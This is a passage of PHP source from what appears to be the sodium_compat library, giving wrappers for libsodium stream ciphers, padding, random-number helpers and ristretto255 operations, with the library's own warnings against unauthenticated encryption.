     * DANGER! UNAUTHENTICATED ENCRYPTION!
     *
     * Unless you are following expert advice, do not use this feature.
     *
     * Algorithm: XSalsa20
     *
     * This DOES NOT provide ciphertext integrity.
     *
     * @param string $message Plaintext message
     * @param string $nonce Number to be used Once; must be 24 bytes
     * @param string $key Encryption key
     * @return string         Encrypted text which is vulnerable to chosen-
     *                        ciphertext attacks unless you implement some
     *                        other mitigation to the ciphertext (i.e.
     *                        Encrypt then MAC)
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_stream_xor($message, $nonce, $key)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);

if (self::useNewSodiumAPI()) {
            return sodium_crypto_stream_xor($message, $nonce, $key);
        }
        if (self::use_fallback('crypto_stream_xor')) {
            return (string) call_user_func('\\Sodium\\crypto_stream_xor', $message, $nonce, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_XSalsa20::xsalsa20_xor($message, $nonce, $key);
        }
        return ParagonIE_Sodium_Core_XSalsa20::xsalsa20_xor($message, $nonce, $key);
    }

/**
     * Return a secure random key for use with crypto_stream
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_stream_keygen()
    {
        return random_bytes(self::CRYPTO_STREAM_KEYBYTES);
    }

/**
     * Expand a key and nonce into a keystream of pseudorandom bytes.
     *
     * @param int $len Number of bytes desired
     * @param string $nonce Number to be used Once; must be 24 bytes
     * @param string $key XChaCha20 key
     * @param bool $dontFallback
     * @return string       Pseudorandom stream that can be XORed with messages
     *                      to provide encryption (but not authentication; see
     *                      Poly1305 or crypto_auth() for that, which is not
     *                      optional for security)
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_stream_xchacha20($len, $nonce, $key, $dontFallback = false)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($len, 'int', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);

/* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_XCHACHA20_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_XCHACHA20_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_XCHACHA20_KEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_STREAM_XCHACHA20_KEYBYTES long.');
        }

if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_stream_xchacha20($len, $nonce, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_XChaCha20::stream($len, $nonce, $key);
        }
        return ParagonIE_Sodium_Core_XChaCha20::stream($len, $nonce, $key);
    }

/**
     * DANGER! UNAUTHENTICATED ENCRYPTION!
     *
     * Unless you are following expert advice, do not use this feature.
     *
     * Algorithm: XChaCha20
     *
     * This DOES NOT provide ciphertext integrity.
     *
     * @param string $message Plaintext message
     * @param string $nonce Number to be used Once; must be 24 bytes
     * @param string $key Encryption key
     * @return string         Encrypted text which is vulnerable to chosen-
     *                        ciphertext attacks unless you implement some
     *                        other mitigation to the ciphertext (i.e.
     *                        Encrypt then MAC)
     * @param bool $dontFallback
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_stream_xchacha20_xor($message, $nonce, $key, $dontFallback = false)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);

if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_stream_xchacha20_xor($message, $nonce, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_XChaCha20::streamXorIc($message, $nonce, $key);
        }
        return ParagonIE_Sodium_Core_XChaCha20::streamXorIc($message, $nonce, $key);
    }

/**
     * DANGER! UNAUTHENTICATED ENCRYPTION!
     *
     * Unless you are following expert advice, do not use this feature.
     *
     * Algorithm: XChaCha20
     *
     * This DOES NOT provide ciphertext integrity.
     *
     * @param string $message Plaintext message
     * @param string $nonce Number to be used Once; must be 24 bytes
     * @param int $counter
     * @param string $key Encryption key
     * @return string         Encrypted text which is vulnerable to chosen-
     *                        ciphertext attacks unless you implement some
     *                        other mitigation to the ciphertext (i.e.
     *                        Encrypt then MAC)
     * @param bool $dontFallback
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_stream_xchacha20_xor_ic($message, $nonce, $counter, $key, $dontFallback = false)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($counter, 'int', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

if (is_callable('sodium_crypto_stream_xchacha20_xor_ic') && !$dontFallback) {
            return sodium_crypto_stream_xchacha20_xor_ic($message, $nonce, $counter, $key);
        }

$ic = ParagonIE_Sodium_Core_Util::store64_le($counter);
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_XChaCha20::streamXorIc($message, $nonce, $key, $ic);
        }
        return ParagonIE_Sodium_Core_XChaCha20::streamXorIc($message, $nonce, $key, $ic);
    }

/**
     * Return a secure random key for use with crypto_stream_xchacha20
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_stream_xchacha20_keygen()
    {
        return random_bytes(self::CRYPTO_STREAM_XCHACHA20_KEYBYTES);
    }

/**
     * Cache-timing-safe implementation of hex2bin().
     *
     * @param string $string Hexadecimal string
     * @param string $ignore List of characters to ignore; useful for whitespace
     * @return string        Raw binary string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress TooFewArguments
     * @psalm-suppress MixedArgument
     */
    public static function hex2bin($string, $ignore = '')
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($string, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($ignore, 'string', 2);

if (self::useNewSodiumAPI()) {
            if (is_callable('sodium_hex2bin')) {
                return (string) sodium_hex2bin($string, $ignore);
            }
        }
        if (self::use_fallback('hex2bin')) {
            return (string) call_user_func('\\Sodium\\hex2bin', $string, $ignore);
        }
        return ParagonIE_Sodium_Core_Util::hex2bin($string, $ignore);
    }

/**
     * Increase a string (little endian)
     *
     * @param string $var
     *
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function increment(&$var)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($var, 'string', 1);

if (self::useNewSodiumAPI()) {
            sodium_increment($var);
            return;
        }
        if (self::use_fallback('increment')) {
            $func = '\\Sodium\\increment';
            $func($var);
            return;
        }

$len = ParagonIE_Sodium_Core_Util::strlen($var);
        $c = 1;
        $copy = '';
        for ($i = 0; $i < $len; ++$i) {
            $c += ParagonIE_Sodium_Core_Util::chrToInt(
                ParagonIE_Sodium_Core_Util::substr($var, $i, 1)
            );
            $copy .= ParagonIE_Sodium_Core_Util::intToChr($c);
            $c >>= 8;
        }
        $var = $copy;
    }

/**
     * @param string $str
     * @return bool
     *
     * @throws SodiumException
     */
    public static function is_zero($str)
    {
        $d = 0;
        for ($i = 0; $i < 32; ++$i) {
            $d |= ParagonIE_Sodium_Core_Util::chrToInt($str[$i]);
        }
        return ((($d - 1) >> 31) & 1) === 1;
    }

/**
     * The equivalent to the libsodium minor version we aim to be compatible
     * with (sans pwhash and memzero).
     *
     * @return int
     */
    public static function library_version_major()
    {
        if (self::useNewSodiumAPI() && defined('SODIUM_LIBRARY_MAJOR_VERSION')) {
            return SODIUM_LIBRARY_MAJOR_VERSION;
        }
        if (self::use_fallback('library_version_major')) {
            /** @psalm-suppress UndefinedFunction */
            return (int) call_user_func('\\Sodium\\library_version_major');
        }
        return self::LIBRARY_VERSION_MAJOR;
    }

/**
     * The equivalent to the libsodium minor version we aim to be compatible
     * with (sans pwhash and memzero).
     *
     * @return int
     */
    public static function library_version_minor()
    {
        if (self::useNewSodiumAPI() && defined('SODIUM_LIBRARY_MINOR_VERSION')) {
            return SODIUM_LIBRARY_MINOR_VERSION;
        }
        if (self::use_fallback('library_version_minor')) {
            /** @psalm-suppress UndefinedFunction */
            return (int) call_user_func('\\Sodium\\library_version_minor');
        }
        return self::LIBRARY_VERSION_MINOR;
    }

/**
     * Compare two strings.
     *
     * @param string $left
     * @param string $right
     * @return int
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function memcmp($left, $right)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($left, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($right, 'string', 2);

if (self::useNewSodiumAPI()) {
            return sodium_memcmp($left, $right);
        }
        if (self::use_fallback('memcmp')) {
            return (int) call_user_func('\\Sodium\\memcmp', $left, $right);
        }
        /** @var string $left */
        /** @var string $right */
        return ParagonIE_Sodium_Core_Util::memcmp($left, $right);
    }

/**
     * It's actually not possible to zero memory buffers in PHP. You need the
     * native library for that.
     *
     * @param string|null $var
     * @param-out string|null $var
     *
     * @return void
     * @throws SodiumException (Unless libsodium is installed)
     * @throws TypeError
     * @psalm-suppress TooFewArguments
     */
    public static function memzero(&$var)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($var, 'string', 1);

if (self::useNewSodiumAPI()) {
            /** @psalm-suppress MixedArgument */
            sodium_memzero($var);
            return;
        }
        if (self::use_fallback('memzero')) {
            $func = '\\Sodium\\memzero';
            $func($var);
            if ($var === null) {
                return;
            }
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented in sodium_compat, as it is not possible to securely wipe memory from PHP. ' .
            'To fix this error, make sure libsodium is installed and the PHP extension is enabled.'
        );
    }

/**
     * @param string $unpadded
     * @param int $blockSize
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function pad($unpadded, $blockSize, $dontFallback = false)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($unpadded, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($blockSize, 'int', 2);

$unpadded = (string) $unpadded;
        $blockSize = (int) $blockSize;

if (self::useNewSodiumAPI() && !$dontFallback) {
            return (string) sodium_pad($unpadded, $blockSize);
        }

if ($blockSize <= 0) {
            throw new SodiumException(
                'block size cannot be less than 1'
            );
        }
        $unpadded_len = ParagonIE_Sodium_Core_Util::strlen($unpadded);
        $xpadlen = ($blockSize - 1);
        if (($blockSize & ($blockSize - 1)) === 0) {
            $xpadlen -= $unpadded_len & ($blockSize - 1);
        } else {
            $xpadlen -= $unpadded_len % $blockSize;
        }

$xpadded_len = $unpadded_len + $xpadlen;
        $padded = str_repeat("\0", $xpadded_len - 1);
        if ($unpadded_len > 0) {
            $st = 1;
            $i = 0;
            $k = $unpadded_len;
            for ($j = 0; $j <= $xpadded_len; ++$j) {
                $i = (int) $i;
                $k = (int) $k;
                $st = (int) $st;
                if ($j >= $unpadded_len) {
                    $padded[$j] = "\0";
                } else {
                    $padded[$j] = $unpadded[$j];
                }
                /** @var int $k */
                $k -= $st;
                $st = (int) (~(
                            (
                                (
                                    ($k >> 48)
                                        |
                                    ($k >> 32)
                                        |
                                    ($k >> 16)
                                        |
                                    $k
                                ) - 1
                            ) >> 16
                        )
                    ) & 1;
                $i += $st;
            }
        }

$mask = 0;
        $tail = $xpadded_len;
        for ($i = 0; $i < $blockSize; ++$i) {
            # barrier_mask = (unsigned char)
            #     (((i ^ xpadlen) - 1U) >> ((sizeof(size_t) - 1U) * CHAR_BIT));
            $barrier_mask = (($i ^ $xpadlen) -1) >> ((PHP_INT_SIZE << 3) - 1);
            # tail[-i] = (tail[-i] & mask) | (0x80 & barrier_mask);
            $padded[$tail - $i] = ParagonIE_Sodium_Core_Util::intToChr(
                (ParagonIE_Sodium_Core_Util::chrToInt($padded[$tail - $i]) & $mask)
                    |
                (0x80 & $barrier_mask)
            );
            # mask |= barrier_mask;
            $mask |= $barrier_mask;
        }
        return $padded;
    }

/**
     * @param string $padded
     * @param int $blockSize
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function unpad($padded, $blockSize, $dontFallback = false)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($padded, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($blockSize, 'int', 2);

$padded = (string) $padded;
        $blockSize = (int) $blockSize;

if (self::useNewSodiumAPI() && !$dontFallback) {
            return (string) sodium_unpad($padded, $blockSize);
        }
        if ($blockSize <= 0) {
            throw new SodiumException('block size cannot be less than 1');
        }
        $padded_len = ParagonIE_Sodium_Core_Util::strlen($padded);
        if ($padded_len < $blockSize) {
            throw new SodiumException('invalid padding');
        }

# tail = &padded[padded_len - 1U];
        $tail = $padded_len - 1;

$acc = 0;
        $valid = 0;
        $pad_len = 0;

$found = 0;
        for ($i = 0; $i < $blockSize; ++$i) {
            # c = tail[-i];
            $c = ParagonIE_Sodium_Core_Util::chrToInt($padded[$tail - $i]);

# is_barrier =
            #     (( (acc - 1U) & (pad_len - 1U) & ((c ^ 0x80) - 1U) ) >> 8) & 1U;
            $is_barrier = (
                (
                    ($acc - 1) & ($pad_len - 1) & (($c ^ 80) - 1)
                ) >> 7
            ) & 1;
            $is_barrier &= ~$found;
            $found |= $is_barrier;

# acc |= c;
            $acc |= $c;

# pad_len |= i & (1U + ~is_barrier);
            $pad_len |= $i & (1 + ~$is_barrier);

# valid |= (unsigned char) is_barrier;
            $valid |= ($is_barrier & 0xff);
        }
        # unpadded_len = padded_len - 1U - pad_len;
        $unpadded_len = $padded_len - 1 - $pad_len;
        if ($valid !== 1) {
            throw new SodiumException('invalid padding');
        }
        return ParagonIE_Sodium_Core_Util::substr($padded, 0, $unpadded_len);
    }

/**
     * Will sodium_compat run fast on the current hardware and PHP configuration?
     *
     * @return bool
     */
    public static function polyfill_is_fast()
    {
        if (extension_loaded('sodium')) {
            return true;
        }
        if (extension_loaded('libsodium')) {
            return true;
        }
        return PHP_INT_SIZE === 8;
    }

/**
     * Generate a string of bytes from the kernel's CSPRNG.
     * Proudly uses /dev/urandom (if getrandom(2) is not available).
     *
     * @param int $numBytes
     * @return string
     * @throws Exception
     * @throws TypeError
     */
    public static function randombytes_buf($numBytes)
    {
        /* Type checks: */
        if (!is_int($numBytes)) {
            if (is_numeric($numBytes)) {
                $numBytes = (int) $numBytes;
            } else {
                throw new TypeError(
                    'Argument 1 must be an integer, ' . gettype($numBytes) . ' given.'
                );
            }
        }
        /** @var positive-int $numBytes */
        if (self::use_fallback('randombytes_buf')) {
            return (string) call_user_func('\\Sodium\\randombytes_buf', $numBytes);
        }
        if ($numBytes < 0) {
            throw new SodiumException("Number of bytes must be a positive integer");
        }
        return random_bytes($numBytes);
    }

/**
     * Generate an integer between 0 and $range (non-inclusive).
     *
     * @param int $range
     * @return int
     * @throws Exception
     * @throws Error
     * @throws TypeError
     */
    public static function randombytes_uniform($range)
    {
        /* Type checks: */
        if (!is_int($range)) {
            if (is_numeric($range)) {
                $range = (int) $range;
            } else {
                throw new TypeError(
                    'Argument 1 must be an integer, ' . gettype($range) . ' given.'
                );
            }
        }
        if (self::use_fallback('randombytes_uniform')) {
            return (int) call_user_func('\\Sodium\\randombytes_uniform', $range);
        }
        return random_int(0, $range - 1);
    }

/**
     * Generate a random 16-bit integer.
     *
     * @return int
     * @throws Exception
     * @throws Error
     * @throws TypeError
     */
    public static function randombytes_random16()
    {
        if (self::use_fallback('randombytes_random16')) {
            return (int) call_user_func('\\Sodium\\randombytes_random16');
        }
        return random_int(0, 65535);
    }

/**
     * @param string $p
     * @param bool $dontFallback
     * @return bool
     * @throws SodiumException
     */
    public static function ristretto255_is_valid_point($p, $dontFallback = false)
    {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_is_valid_point($p);
        }
        try {
            $r = ParagonIE_Sodium_Core_Ristretto255::ristretto255_frombytes($p);
            return $r['res'] === 0 &&
                ParagonIE_Sodium_Core_Ristretto255::ristretto255_point_is_canonical($p) === 1;
        } catch (SodiumException $ex) {
            if ($ex->getMessage() === 'S is not canonical') {
                return false;
            }
            throw $ex;
        }
    }

/**
     * @param string $p
     * @param string $q
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_add($p, $q, $dontFallback = false)
    {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_add($p, $q);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_add($p, $q);
    }

/**
     * @param string $p
     * @param string $q
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_sub($p, $q, $dontFallback = false)
    {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_sub($p, $q);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_sub($p, $q);
    }

/**
     * @param string $r
     * @param bool $dontFallback
     * @return string
     *
     * @throws SodiumException
     */
    public static function ristretto255_from_hash($r, $dontFallback = false)
    {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_from_hash($r);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_from_hash($r);
    }

/**
     * @param bool $dontFallback
     * @return string
     *
     * @throws SodiumException
     */
    public static function ristretto255_random($dontFallback = false)
    {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_random();
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_random();
    }

/**
     * @param bool $dontFallback
     * @return string
     *
     * @throws SodiumException
     */
    public static function ristretto255_scalar_random($dontFallback = false)
    {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_scalar_random();
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_random();
    }

/**
     * @param string $s
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_invert($s, $dontFallback = false)
    {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_scalar_invert($s);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_invert($s);
    }
    /**
     * @param string $s
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_negate($s, $dontFallback = false)
    {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_scalar_negate($s);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_negate($s);
    }

/**
     * @param string $s
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_complement($s, $dontFallback = false)
    {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_scalar_complement($s);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_complement($s);
    }

/**
     * @param string $x
     * @param string $y
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_add($x, $y, $dontFallback = false)
    {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_scalar_add($x, $y);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_add($x, $y);
    }

/**
     * @param string $x
     * @param string $y
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_sub($x, $y, $dontFallback = false)
    {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_scalar_sub($x, $y);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_sub($x, $y);
    }

/**
     * @param string $x
     * @param string $y
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_mul($x, $y, $dontFallback = false)
    {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_scalar_mul($x, $y);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_mul($x, $y);
    }

/**
     * @param string $n
     * @param string $p
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function scalarmult_ristretto255($n, $p, $dontFallback = false)
    {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_scalarmult_ristretto255($n, $p);
        }
        return ParagonIE_Sodium_Core_Ristretto255::scalarmult_ristretto255($n, $p);
    }

/**
     * @param string $n
     * @param string $p
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function scalarmult_ristretto255_base($n, $dontFallback = false)
    {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_scalarmult_ristretto255_base($n);
        }
        return ParagonIE_Sodium_Core_Ristretto255::scalarmult_ristretto255_base($n);
    }

/**
     * @param string $s
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_reduce($s, $dontFallback = false)
    {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_scalar_reduce($s);
        }
        return ParagonIE_Sodium_Core_Ristretto255::sc_reduce($s);
    }

/**
     * Runtime testing method for 32-bit platforms.
     *
     * Usage: If runtime_speed_test() returns FALSE, then our 32-bit
     *        implementation is to slow to use safely without risking timeouts.
     *        If this happens, install sodium from PECL to get acceptable
     *        performance.
     *
     * @param int $iterations Number of multiplications to attempt
     * @param int $maxTimeout Milliseconds
     * @return bool           TRUE if we're fast enough, FALSE is not
     * @throws SodiumException
     */
    public static function runtime_speed_test($iterations, $maxTimeout)
    {
        if (self::polyfill_is_fast()) {
            return true;
        }
        /** @var float $end */
        $end = 0.0;
        /** @var float $start */
        $start = microtime(true);
        /** @var ParagonIE_Sodium_Core32_Int64 $a */
        $a = ParagonIE_Sodium_Core32_Int64::fromInt(random_int(3, 1 << 16));
        for ($i = 0; $i < $iterations; ++$i) {
            /** @var ParagonIE_Sodium_Core32_Int64 $b */
            $b = ParagonIE_Sodium_Core32_Int64::fromInt(random_int(3, 1 << 16));
            $a->mulInt64($b);
        }
        /** @var float $end */
        $end = microtime(true);
        /** @var int $diff */
        $diff = (int) ceil(($end - $start) * 1000);
        return $diff < $maxTimeout;
    }

/**
     * Add two numbers (little-endian unsigned), storing the value in the first
     * parameter.
     *
     * This mutates $val.
     *
     * @param string $val
     * @param string $addv
     * @return void
     * @throws SodiumException
     */
    public static function sub(&$val, $addv)
    {
        $val_len = ParagonIE_Sodium_Core_Util::strlen($val);
        $addv_len = ParagonIE_Sodium_Core_Util::strlen($addv);
        if ($val_len !== $addv_len) {
            throw new SodiumException('values must have the same length');
        }
        $A = ParagonIE_Sodium_Core_Util::stringToIntArray($val);
        $B = ParagonIE_Sodium_Core_Util::stringToIntArray($addv);

$c = 0;
        for ($i = 0; $i < $val_len; $i++) {
            $c = ($A[$i] - $B[$i] - $c);
            $A[$i] = ($c & 0xff);
            $c = ($c >> 8) & 1;
        }
        $val = ParagonIE_Sodium_Core_Util::intArrayToString($A);
    }

/**
     * This emulates libsodium's version_string() function, except ours is
     * prefixed with 'polyfill-'.
     *
     * @return string
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress UndefinedFunction
     */
    public static function version_string()
    {
        if (self::useNewSodiumAPI()) {
            return (string) sodium_version_string();
        }
        if (self::use_fallback('version_string')) {
            return (string) call_user_func('\\Sodium\\version_string');
        }
        return (string) self::VERSION_STRING;
    }

/**
     * Should we use the libsodium core function instead?
     * This is always a good idea, if it's available. (Unless we're in the
     * middle of running our unit test suite.)
     *
     * If ext/libsodium is available, use it. Return TRUE.
     * Otherwise, we have to use the code provided herein. Return FALSE.
     *
     * @param string $sodium_func_name
     *
     * @return bool
     */
    protected static function use_fallback($sodium_func_name = '')
    {
        static $res = null;
        if ($res === null) {
            $res = extension_loaded('libsodium') && PHP_VERSION_ID >= 50300;
        }
        if ($res === false) {
            // No libsodium installed
            return false;
        }
        if (self::$disableFallbackForUnitTests) {
            // Don't fallback. Use the PHP implementation.
            return false;
        }
        if (!empty($sodium_func_name)) {
            return is_callable('\\Sodium\\' . $sodium_func_name);
        }
        return true;
    }

/**
     * Libsodium as implemented in PHP 7.2
     * and/or ext/sodium (via PECL)
     *
     * @ref https://wiki.php.net/rfc/libsodium
     * @return bool
     */
    protected static function useNewSodiumAPI()
    {
        static $res = null;
        if ($res === null) {
            $res = PHP_VERSION_ID >= 70000 && extension_loaded('sodium');
        }
        if (self::$disableFallbackForUnitTests) {
            // Don't fallback. Use the PHP implementation.
            return false;
        }
        return (bool) $res;
    }
}